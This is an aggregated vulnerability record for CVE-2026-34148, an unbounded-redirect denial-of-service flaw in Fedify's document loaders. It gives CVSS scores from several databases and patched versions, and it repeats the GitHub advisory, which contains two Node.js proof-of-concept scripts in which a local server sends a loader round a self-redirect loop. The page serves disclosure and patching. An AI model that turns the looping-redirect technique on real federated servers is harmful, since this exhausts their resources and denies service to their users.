CVE-2026-34148
Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution
Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution
Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.
- Record
CVE-2026-34148- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-770
- Updated
- 2026-11-02
EUVDEUVD-2026-19295
7.5
Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.
- Record
EUVD-2026-19295- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-gm9m-gwc4-hwgp
7.5
Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution
Summary
@fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.
Details
Fedify verifies ActivityPub HTTP signatures by fetching the remote keyId during request processing. The relevant flow is handleInboxInternal() -> verifyRequest() -> fetchKeyInternal() -> document loader.
In affected versions:
- the generic document loader recursively follows
3xxresponses by callingload()again on theLocationheader - the authenticated redirect path (
doubleKnock()) also recursively follows redirects - neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops
As a result, if an attacker-controlled keyId or actor URL responds with 302 Location: <same URL>, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.
I confirmed the issue in @fedify/fedify 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.
Failed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same keyId.
PoC
Minimal direct reproduction with the package:
- Install
@fedify/[email protected]. - Save and run the following script:
import http from "node:http";
import { getDocumentLoader } from "@fedify/fedify";
const port = 45679;
let count = 0;
const redirectCount = 120;
const server = http.createServer((req, res) => {
count += 1;
if (count < redirectCount) {
res.writeHead(302, {
Location: `http://127.0.0.1:${port}/actor`,
});
res.end();
return;
}
res.writeHead(200, { "Content-Type": "application/activity+json" });
res.end(JSON.stringify({
"@context": "https://www.w3.org/ns/activitystreams",
"id": `http://127.0.0.1:${port}/actor`,
"type": "Person"
}));
});
await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
try {
const loader = getDocumentLoader({ allowPrivateAddress: true });
await loader(`http://127.0.0.1:${port}/actor`);
console.log({ count });
} finally {
server.close();
}
- Observe output similar to:
{ count: 120 }
This shows the loader followed 119 self-redirects before the first non-redirect response.
The authenticated loader used for signed requests shows the same behavior:
import http from "node:http";
import {
generateCryptoKeyPair,
getAuthenticatedDocumentLoader,
} from "@fedify/fedify";
const port = 45680;
let count = 0;
const redirectCount = 120;
const server = http.createServer((req, res) => {
count += 1;
if (count < redirectCount) {
res.writeHead(302, {
Location: `http://127.0.0.1:${port}/actor`,
});
res.end();
return;
}
res.writeHead(200, { "Content-Type": "application/activity+json" });
res.end(JSON.stringify({
"@context": "https://www.w3.org/ns/activitystreams",
"id": `http://127.0.0.1:${port}/actor`,
"type": "Person"
}));
});
await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
try {
const { privateKey } = await generateCryptoKeyPair();
const loader = getAuthenticatedDocumentLoader(
{
privateKey,
keyId: new URL("https://example.com/users/index#main-key"),
},
{ allowPrivateAddress: true },
);
await loader(`http://127.0.0.1:${port}/actor`);
console.log({ count });
} finally {
server.close();
}
Impact
This is an unauthenticated denial-of-service / request amplification…
- Record
GHSA-gm9m-gwc4-hwgp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-770
- Updated
- 2026-11-02
NVD
7.5
Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.
- Record
CVE-2026-34148- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-770
- Updated
- 2026-11-02
OSV
7.5
Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution
Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.
- Record
CVE-2026-34148- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-770
- Updated
- 2026-11-02
OSVGHSA-gm9m-gwc4-hwgp
7.5
Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution
Summary
@fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.
Details
Fedify verifies ActivityPub HTTP signatures by fetching the remote keyId during request processing. The relevant flow is handleInboxInternal() -> verifyRequest() -> fetchKeyInternal() -> document loader.
In affected versions:
- the generic document loader recursively follows
3xxresponses by callingload()again on theLocationheader - the authenticated redirect path (
doubleKnock()) also recursively follows redirects - neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops
As a result, if an attacker-controlled keyId or actor URL responds with 302 Location: <same URL>, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.
I confirmed the issue in @fedify/fedify 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.
Failed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same keyId.
PoC
Minimal direct reproduction with the package:
- Install
@fedify/[email protected]. - Save and run the following script:
import http from "node:http";
import { getDocumentLoader } from "@fedify/fedify";
const port = 45679;
let count = 0;
const redirectCount = 120;
const server = http.createServer((req, res) => {
count += 1;
if (count < redirectCount) {
res.writeHead(302, {
Location: `http://127.0.0.1:${port}/actor`,
});
res.end();
return;
}
res.writeHead(200, { "Content-Type": "application/activity+json" });
res.end(JSON.stringify({
"@context": "https://www.w3.org/ns/activitystreams",
"id": `http://127.0.0.1:${port}/actor`,
"type": "Person"
}));
});
await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
try {
const loader = getDocumentLoader({ allowPrivateAddress: true });
await loader(`http://127.0.0.1:${port}/actor`);
console.log({ count });
} finally {
server.close();
}
- Observe output similar to:
{ count: 120 }
This shows the loader followed 119 self-redirects before the first non-redirect response.
The authenticated loader used for signed requests shows the same behavior:
import http from "node:http";
import {
generateCryptoKeyPair,
getAuthenticatedDocumentLoader,
} from "@fedify/fedify";
const port = 45680;
let count = 0;
const redirectCount = 120;
const server = http.createServer((req, res) => {
count += 1;
if (count < redirectCount) {
res.writeHead(302, {
Location: `http://127.0.0.1:${port}/actor`,
});
res.end();
return;
}
res.writeHead(200, { "Content-Type": "application/activity+json" });
res.end(JSON.stringify({
"@context": "https://www.w3.org/ns/activitystreams",
"id": `http://127.0.0.1:${port}/actor`,
"type": "Person"
}));
});
await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
try {
const { privateKey } = await generateCryptoKeyPair();
const loader = getAuthenticatedDocumentLoader(
{
privateKey,
keyId: new URL("https://example.com/users/index#main-key"),
},
{ allowPrivateAddress: true },
);
await loader(`http://127.0.0.1:${port}/actor`);
console.log({ count });
} finally {
server.close();
}
Impact
This is an unauthenticated denial-of-service / request amplification…
- Record
GHSA-gm9m-gwc4-hwgp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-770
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@fedify/fedifynpm |
before 1.9.6 | 1.9.6 |
@fedify/vocab-runtimenpm |
before 2.0.8 | 2.0.8 |
@fedify/vocab-runtimenpm |
2.1.0 to 2.1.0 | 2.1.1 |
@fedify/fedifynpm |
1.10.0 up to 1.10.5 | 1.10.5 |
@fedify/fedifynpm |
2.0.0 up to 2.0.8 | 2.0.8 |
@fedify/fedifynpm |
2.1.0 to 2.1.0 | 2.1.1 |
@fedify/vocab-runtimenpm |
2.1.0 up to 2.1.1 | 2.1.1 |
@fedify/fedifynpm |
2.1.0 up to 2.1.1 | 2.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-34148 is a high vulnerability (CVSS 7.5) in @fedify Fedify, published April 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.57%, the 47th percentile. Fixed in @fedify/fedify 1.9.6.
References
github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp
github.com/fedify-dev/fedify/releases/tag/1.10.5
github.com/fedify-dev/fedify/releases/tag/1.9.6
github.com/fedify-dev/fedify/releases/tag/2.0.8
github.com/fedify-dev/fedify/releases/tag/2.1.1
nvd.nist.gov/vuln/detail/CVE-2026-34148
github.com/advisories/GHSA-gm9m-gwc4-hwgp
github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34148.json
github.com/fedify-dev/fedify
Left out here: the rest of 2 source descriptions. The JSON record has them.